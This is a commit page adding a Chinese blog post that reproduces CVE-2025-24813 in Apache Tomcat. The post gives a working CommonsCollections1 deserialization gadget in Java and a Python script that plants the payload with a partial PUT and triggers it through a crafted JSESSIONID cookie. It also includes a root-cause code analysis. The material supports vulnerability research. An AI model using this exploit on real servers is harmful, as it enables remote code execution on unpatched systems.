Skip to content

Commit 1249898

Browse files
author
gsbp
committed
update
1 parent b35a419 commit 1249898

File tree

2 files changed

+371
-0
lines changed

2 files changed

+371
-0
lines changed

.DS_Store

0 Bytes
Binary file not shown.
Lines changed: 371 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,371 @@
1+
+++
2+
date = '2025-03-12T18:00:00+08:00'
3+
draft = false
4+
title = '[Tomcat]CVE-2025-24813复现'
5+
author='GSBP'
6+
categories=["Java安全","CVE"]
7+
8+
+++
9+
10+
## 前言
11+
12+
出了个通告说Tomcat有个新的cve,于是来尝试复现
13+
14+
## 通报
15+
16+
关于漏洞的通报细节如下
17+
18+
![image-20250312143659450](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312143659450.png)
19+
20+
一看又是DefaultServlet的put方法上出的洞,这里漏洞利用有两种形式,一个是信息泄漏和篡改,还有一个是反序列化RCE,而且要求的前置项有点多,这里简单列出来
21+
22+
### 信息泄漏/篡改
23+
24+
- ReadOnly为false
25+
- 支持partial PUT方法
26+
27+
- 攻击者知道敏感文件的名称
28+
- 安全敏感文件的上传目标 URL 是公开上传目标 URL 的子目录(?这个看不懂,也不知道啥意思)
29+
30+
### 反序列化RCE
31+
32+
- ReadOnly为false
33+
- 支持partial PUT方法
34+
- 服务开启以文件为存储形式的持久化链接,并且采用默认位置
35+
- 有能够引起反序列化漏洞的依赖
36+
37+
## 环境搭建
38+
39+
我参考的这篇文章搭建的环境
40+
41+
https://juejin.cn/post/7331544684290228250
42+
43+
接下来修改readonly
44+
45+
`tomcat目录/conf/web.xml`
46+
47+
```
48+
<servlet>
49+
<servlet-name>default</servlet-name>
50+
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
51+
<init-param>
52+
<param-name>debug</param-name>
53+
<param-value>0</param-value>
54+
</init-param>
55+
<init-param>
56+
<param-name>listings</param-name>
57+
<param-value>false</param-value>
58+
</init-param>
59+
<init-param>
60+
<param-name>readonly</param-name>
61+
<param-value>false</param-value>
62+
</init-param>
63+
<load-on-startup>1</load-on-startup>
64+
</servlet>
65+
```
66+
67+
开启持久化链接文件模式
68+
69+
`tomcat目录/conf/context.xml`
70+
71+
```
72+
<?xml version="1.0" encoding="UTF-8"?>
73+
<!--
74+
Licensed to the Apache Software Foundation (ASF) under one or more
75+
contributor license agreements. See the NOTICE file distributed with
76+
this work for additional information regarding copyright ownership.
77+
The ASF licenses this file to You under the Apache License, Version 2.0
78+
(the "License"); you may not use this file except in compliance with
79+
the License. You may obtain a copy of the License at
80+
81+
http://www.apache.org/licenses/LICENSE-2.0
82+
83+
Unless required by applicable law or agreed to in writing, software
84+
distributed under the License is distributed on an "AS IS" BASIS,
85+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
86+
See the License for the specific language governing permissions and
87+
limitations under the License.
88+
-->
89+
<!-- The contents of this file will be loaded for each web application -->
90+
<Context>
91+
92+
<!-- Default set of monitored resources. If one of these changes, the -->
93+
<!-- web application will be reloaded. -->
94+
<WatchedResource>WEB-INF/web.xml</WatchedResource>
95+
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
96+
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
97+
98+
<!-- Uncomment this to disable session persistence across Tomcat restarts -->
99+
<!--
100+
<Manager pathname="" />
101+
-->
102+
<Manager className="org.apache.catalina.session.PersistentManager"
103+
debug="0"
104+
saveOnRestart="false"
105+
maxActiveSession="-1"
106+
minIdleSwap="-1"
107+
maxIdleSwap="-1"
108+
maxIdleBackup="-1">
109+
<Store className="org.apache.catalina.session.FileStore" directory=""/>
110+
</Manager>
111+
</Context>
112+
```
113+
114+
往pom.xml下塞入CC依赖
115+
116+
```
117+
<dependency>
118+
<groupId>commons-collections</groupId>
119+
<artifactId>commons-collections</artifactId>
120+
<version>3.2.1</version>
121+
</dependency>
122+
```
123+
124+
## 漏洞复现
125+
126+
开启服务
127+
128+
![image-20250312145524530](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312145524530.png)
129+
130+
然后跑个cc的poc
131+
132+
```
133+
package org.example;
134+
135+
import org.apache.commons.collections.Transformer;
136+
import org.apache.commons.collections.functors.ChainedTransformer;
137+
import org.apache.commons.collections.functors.ConstantTransformer;
138+
import org.apache.commons.collections.functors.InvokerTransformer;
139+
import org.apache.commons.collections.map.TransformedMap;
140+
141+
import java.io.*;
142+
import java.lang.annotation.Target;
143+
import java.util.*;
144+
import java.lang.reflect.*;
145+
146+
public class Main {
147+
148+
public static void main(String[] args) throws Exception {
149+
String cmd="open -a calculator";
150+
Transformer[] transformers =new Transformer[]{
151+
new ConstantTransformer(Runtime.class),
152+
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
153+
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
154+
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
155+
};
156+
157+
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
158+
159+
HashMap hsmap=new HashMap();
160+
hsmap.put("value","test");
161+
162+
Map transformedMap=TransformedMap.decorate(hsmap,null,chainedTransformer);
163+
164+
Class aclass=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
165+
Constructor constructor=aclass.getDeclaredConstructor(Class.class,Map.class);
166+
constructor.setAccessible(true);
167+
Object handler = constructor.newInstance(Target.class,transformedMap);
168+
169+
FileOutputStream bao=new FileOutputStream("ser");
170+
ObjectOutputStream oos=new ObjectOutputStream(bao);
171+
oos.writeObject(handler);
172+
oos.close();
173+
174+
}
175+
176+
}
177+
```
178+
179+
得到ser文件之后再跑下面脚本
180+
181+
```
182+
import requests
183+
data=open("ser","rb").read()
184+
headers={"Content-Range":"bytes 0-10000/67589"}
185+
url="http://127.0.0.1:8081/evil/session"
186+
requests.put(url,headers=headers,data=data)
187+
requests.get(url,headers={"Cookie":"JSESSIONID=.evil"})
188+
```
189+
190+
![image-20250312145744884](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312145744884.png)
191+
192+
## 原理分析
193+
194+
### 其一
195+
196+
漏洞点在`DefaultServlet`下的doPut方法中调用` executePartialPut`方法
197+
198+
![image-20250312150329188](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312150329188.png)
199+
200+
` executePartialPut`方法中,根据传入的path,request创建临时文件,保存地址为当前ServletContext下的临时文件夹的根目录下面,且将path中的`/`转化为了`.`
201+
202+
```
203+
protected File executePartialPut(HttpServletRequest req, Range range, String path) throws IOException {
204+
205+
// Append data specified in ranges to existing content for this
206+
// resource - create a temp. file on the local filesystem to
207+
// perform this operation
208+
File tempDir = (File) getServletContext().getAttribute(ServletContext.TEMPDIR);
209+
// Convert all '/' characters to '.' in resourcePath
210+
String convertedResourcePath = path.replace('/', '.');
211+
File contentFile = new File(tempDir, convertedResourcePath);
212+
if (contentFile.createNewFile()) {
213+
// Clean up contentFile when Tomcat is terminated
214+
contentFile.deleteOnExit();
215+
}
216+
217+
try (RandomAccessFile randAccessContentFile = new RandomAccessFile(contentFile, "rw")) {
218+
219+
WebResource oldResource = resources.getResource(path);
220+
221+
// Copy data in oldRevisionContent to contentFile
222+
if (oldResource.isFile()) {
223+
try (BufferedInputStream bufOldRevStream =
224+
new BufferedInputStream(oldResource.getInputStream(), BUFFER_SIZE)) {
225+
226+
int numBytesRead;
227+
byte[] copyBuffer = new byte[BUFFER_SIZE];
228+
while ((numBytesRead = bufOldRevStream.read(copyBuffer)) != -1) {
229+
randAccessContentFile.write(copyBuffer, 0, numBytesRead);
230+
}
231+
232+
}
233+
}
234+
235+
randAccessContentFile.setLength(range.length);
236+
237+
// Append data in request input stream to contentFile
238+
randAccessContentFile.seek(range.start);
239+
int numBytesRead;
240+
byte[] transferBuffer = new byte[BUFFER_SIZE];
241+
try (BufferedInputStream requestBufInStream = new BufferedInputStream(req.getInputStream(), BUFFER_SIZE)) {
242+
while ((numBytesRead = requestBufInStream.read(transferBuffer)) != -1) {
243+
randAccessContentFile.write(transferBuffer, 0, numBytesRead);
244+
}
245+
}
246+
}
247+
248+
return contentFile;
249+
}
250+
```
251+
252+
在调用`executePartialPut`之前有个要求,需要我们的range不为空或`IGNORE`,其实就是需要我们添加一个合法的`Content-Range`请求头便可以成功创建
253+
254+
![image-20250312151011961](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312151011961.png)
255+
256+
```
257+
protected Range parseContentRange(HttpServletRequest request, HttpServletResponse response) throws IOException {
258+
259+
// Retrieving the content-range header (if any is specified
260+
String contentRangeHeader = request.getHeader("Content-Range");
261+
262+
if (contentRangeHeader == null) {
263+
return IGNORE;
264+
}
265+
266+
if (!allowPartialPut) {
267+
response.sendError(HttpServletResponse.SC_BAD_REQUEST);
268+
return null;
269+
}
270+
271+
ContentRange contentRange = ContentRange.parse(new StringReader(contentRangeHeader));
272+
273+
if (contentRange == null) {
274+
response.sendError(HttpServletResponse.SC_BAD_REQUEST);
275+
return null;
276+
}
277+
278+
279+
// bytes is the only range unit supported
280+
if (!contentRange.getUnits().equals("bytes")) {
281+
response.sendError(HttpServletResponse.SC_BAD_REQUEST);
282+
return null;
283+
}
284+
285+
// TODO: Remove the internal representation and use Ranges
286+
// Convert to internal representation
287+
Range range = new Range();
288+
range.start = contentRange.getStart();
289+
range.end = contentRange.getEnd();
290+
range.length = contentRange.getLength();
291+
292+
if (!range.validate()) {
293+
response.sendError(HttpServletResponse.SC_BAD_REQUEST);
294+
return null;
295+
}
296+
297+
return range;
298+
}
299+
```
300+
301+
我这里成功put之后,缓存文件所在文件夹位于`apache-tomcat-9.0.85-src/work/Catalina/localhost/ROOT`
302+
303+
![image-20250312151349915](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312151349915.png)
304+
305+
![image-20250312151412366](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312151412366.png)
306+
307+
### 其二
308+
309+
session文件的默认存储点正好位于当前Context的临时文件夹下
310+
311+
`FileStore.load`
312+
313+
![image-20250312181228233](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312181228233.png)
314+
315+
用户在使用JSESSIONID=id的情况下访问服务,FileStore会自动的去临时文件夹下寻找名字为`id.session`的文件并且进行反序列化操作![image-20250312181547867](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312181547867.png)
316+
317+
318+
319+
所以攻击思路就串联起来了
320+
321+
- 攻击者通过partialPut方法往服务临时文件夹塞入存有反序列化数据的文件
322+
- 攻击者再次构造JSESSIONID为`.filename.session`的请求,触发反序列化攻击
323+
324+
### 信息泄露&篡改
325+
326+
这里我看了一会儿没思考出来这个信息泄漏的手法,讲讲我在思考过程中发现的一些可疑点吧(方向不保证对)
327+
328+
在我们创建了range的情况下,下方这个if分支语句下我们能够执行两端代码,一个是`PartialPut`方法,另一个则是根据contentFile来创建一个
329+
330+
![image-20250312182108725](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312182108725.png)
331+
332+
不同于`resourceInputStream = req.getInputStream();`的直接从req中读取我们的输入内容,这里的是根据我们的路径寻找对应文件下的内容
333+
334+
![image-20250312182456062](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312182456062.png)
335+
336+
这里需要注意的是,我们put的路径也并非是需要文件夹下不存在的文件,存在的文件我们也可以执行partialPut方法,方法会根据我们的`Content-Range`头来讲我们put的`body`内容覆盖对应range的数据,这里简单展示一下
337+
338+
访问已存在的123文件
339+
340+
![image-20250312182816636](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312182816636.png)
341+
342+
put 123文件 内容为66 range为Content-Range:bytes 200-1000/67589(range随便设的,我这个文件长度没这么长,这里情况是覆盖最后n位等同于我们的put进的内容)
343+
344+
![image-20250312183103023](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312183103023.png)
345+
346+
现在看一眼123
347+
348+
![image-20250312183122544](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312183122544.png)
349+
350+
所以说partialPut方法读取了临时文件夹下的对应文件内容
351+
352+
随后`resourceInputStream`进入了`resources.write`方法,这个方法下有个注释有点怪
353+
354+
![image-20250312183417739](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312183417739.png)
355+
356+
这个cache好像是用来给正在上传的文件加锁的?没有被remove的话无法被访问的样子
357+
358+
这里有这么些文件地址
359+
360+
![image-20250312183517631](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250312183517631.png)
361+
362+
但是后面我自己测试,发现就算在这个cache里好像也能访问,不知道啥原因了(晕)
363+
364+
那我其实对此大致的思路就有两种
365+
366+
1. 通过某些报错将resourceInputStream的内容带出来,造成泄漏
367+
2. (我的这个cache环境有问题的情况下QAQ)在cache中的文件路径无法访问,且敏感文件在网站目录下的子目录(文件)中,通过我们恶意的往对应路径构造put请求,将该敏感文件从cache中remove掉,从而能够访问这个敏感文件(不过WEB-INF和MATA-INF还是访问不到,tomcat已经硬编码在代码中不准以这俩玩意开头了)
368+
369+
## 结尾
370+
371+
只复现出来了RCE的洞,简单提了一下我在信息泄露这方面的一些思路,如果文章内容有错误还请师傅联系我纠正😭~

0 commit comments

Comments
 (0)